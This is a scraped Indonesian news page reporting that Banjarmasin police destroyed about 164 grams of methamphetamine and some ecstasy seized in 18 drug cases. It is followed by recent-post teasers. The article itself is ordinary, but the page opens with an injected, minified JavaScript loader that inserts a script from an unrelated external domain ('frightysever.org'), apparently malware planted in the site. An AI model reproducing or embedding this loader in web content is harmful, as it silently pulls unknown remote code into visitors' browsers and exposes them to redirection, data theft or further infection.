(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Banjarmasin

Dua Bulan 18 Kasus Narkoba, 164 Gram Sabu Dimusnahkan


KANALKALIMANTAN.COM, BANJARMASIN – Satuan Reserse Kriminal Narkoba (Satresnarkoba) Polresta Banjarmasin menggelar pemusnahan barang bukti narkoba dari hasil pengungkapan kasus akhir tahun 2023 dan awal tahun 2024.

Pemusnahan digelar di Mapolresta Banjarmasin, Rabu (24/1/2024) pagi, dipimpin langsung oleh Wakapolresta Banjarmasin, AKBP Arwin Amrih Wientama SH SIK MH.

Wakapolresta menyebut, barang bukti narkoba yang dimusnahkan meliputi sabu dan ekstasi hasil pengungkapan periode Desember 2023 hingga Januari 2024.

Baca juga: Dari Debat Cawapres, Walhi Sebut Isu Lingkungan Dipinggirkan

“Ada 164,33 gram sabu yang dimusnahkan, 11 butir ekstasi dan 0,15 gram ekstasi berbentuk serbuk,” ungkap Wakapolresta didampingi Kasatnarkoba Polresta Banjarmasin, Kompol Prawira.

Barang bukti tersebut kata AKBP Arwin merupakan hasil pengungkapan 18 kasus dengan 19 tersangka, yang terdiri dari 3 perempuan dan 16 laki-laki.

Berkat dari pengungkapan, Polresta Banjarmasin dikatakan telah berhasil menyelamatkan 2.476 jiwa dari bahaya narkoba. Kemudian jika diuangkan, nilai seluruh barang bukti tersebut mencapai Rp256.745.000.

Baca juga: Perlancar Aktivitas Warga Tiga Daerah, Jembatan Sahbirin Noor Diresmikan

“Diestimasi satu gram dipakai 15 orang, sehingga kami berhasil menyelamatkan sebanyak 2.476 jiwa dari bahaya narkotika,” paparnya.

Sementara itu, proses pemusnahan yang berlangsung di lobi Mapolresta Banjarmasin dilakukan dengan mencampur sabu dan ekstasi dengan cairan sabun dan detergen, kemudian hasil percampuran dibuang ke tempat pembuangan air.

Wakapolresta menghimbau kepada masyarakat agar tetap berhati-hati dan waspada terhadap bahaya narkoba.

Baca juga: Dua SPBU Ditera Ulang, DKUMPP Banjar Target 20 SPBU

Pihaknya menekankan pentingnya dukungan masyarakat dalam memberikan informasi terkait peredaran narkoba di wilayahnya.

Kasat Resnarkoba Polresta Banjarmasin menegaskan komitmen untuk terus menindaklanjuti setiap kasus yang berhasil diungkap serta melakukan penyelidikan lebih lanjut di lapangan. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Muhammad Andi

Recent Posts

Camat Lurah Boleh Jabat Sekretariat PPK PPS

KANALKALIMANTAN.COM, BANJARBARU - Camat dan Lurah diperbolehkan menjabat sebagai Sekretariat Panitia Pemungutan Kecamatan (PPK) maupun… Read More

13 jam ago

Sekretaris Nasdem Kalsel Melamar Golkar, Rozanie Sadar Cukup Posisi Calon Wagub

KANALKALIMANTAN.COM, BANJARMASIN - Pemilihan Kepala Daerah (Pilkada) serentak 2024, sejumlah tokoh mulai mencari dukungan partai… Read More

13 jam ago

Mesin Terbakar di Udara, Pesawat Jemaah Haji Kloter 5 Embarkasi Makassar Kembali Mendarat

KANALKALIMANTAN.COM, MAKASSAR - Momen mencekam mewarnai penerbangan 450 jemaah haji asal Sulawesi Selatan (Sulsel) terjadi,… Read More

14 jam ago

Meteran Air Leding PAM Bandarmasih Hilang, Biaya Pergantian Ditanggung Pelanggan

KANALAKALIMANTAN.COM, BANJARMASIN - Pelanggan air bersih Perusahan Air Minum (PAM) Bandarmasih Kota Banjarmasin Provinsi Kalimantan… Read More

14 jam ago

Layanan Posyandu Terintegrasi di Desa Manusup

KANALKALIMANTAN.COM, KUALA KAPUAS – Upaya memberikan pelayanan kesehatan dasar kepada masyarakat terus dilakukan Pos Pelayanan… Read More

14 jam ago

Kampung KB Guntung Manggis Masuk Enam Besar Nasional

KANALKALIMANTAN.COM, BANJARBARU - Dukungan segenap unsur pemerintahan mengantarkan Kampung Keluarga Berkualitas (KB) Kelurahan Guntung Manggis… Read More

15 jam ago

This website uses cookies.